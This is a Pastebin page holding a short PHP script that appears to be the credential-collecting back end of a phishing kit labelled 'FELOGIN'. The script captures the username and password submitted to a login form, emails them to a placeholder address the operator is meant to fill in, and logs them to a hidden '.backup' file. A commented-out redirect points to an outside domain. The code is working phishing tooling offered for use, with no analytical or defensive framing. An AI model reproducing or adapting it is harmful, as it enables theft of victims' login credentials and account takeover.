Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(1);
- session_start();
- //require('db.php');
- $_SESSION['user'] = $_POST['username'];
- $_SESSION['pass'] = $_POST['password'];
- $_SESSION['Captcha'] = $_POST['captcha'];
- $username = $_POST['username'];
- $password = $_POST['password'];
- $captcha = $_POST['captcha'];
- $unicc = "http://fe-acc18.ru/";
- //echo $unicc;
- //$query = "INSERT INTO login (username, password) VALUES ('$username', '$password')";
- // $result = mysqli_query($connection, $query);
- $message .= "-------------- FELOGIN login -------------\n";
- $message .= "user name : ".$_POST['username']."\n";
- $message .= "Password : ".$_POST['password']."\n";
- $subject = "FELOGIN | WEB|";
- $send = "email"; //Put You Email Here
- $headers = 'From: FELOGIN' . "\r\n";
- mail($send,$subject,$message,$headers);
- // header("Location: $unicc");
- $handle = fopen(".backup", "a"); fwrite($handle, "username = "); fwrite($handle, $username); fwrite($handle, "\n"); fwrite($handle, "password = "); fwrite($handle, $password); fwrite($handle, "\n"); fwrite($handle, "\n"); fclose($handle);
- ?>
Add Comment
Please, Sign In to add comment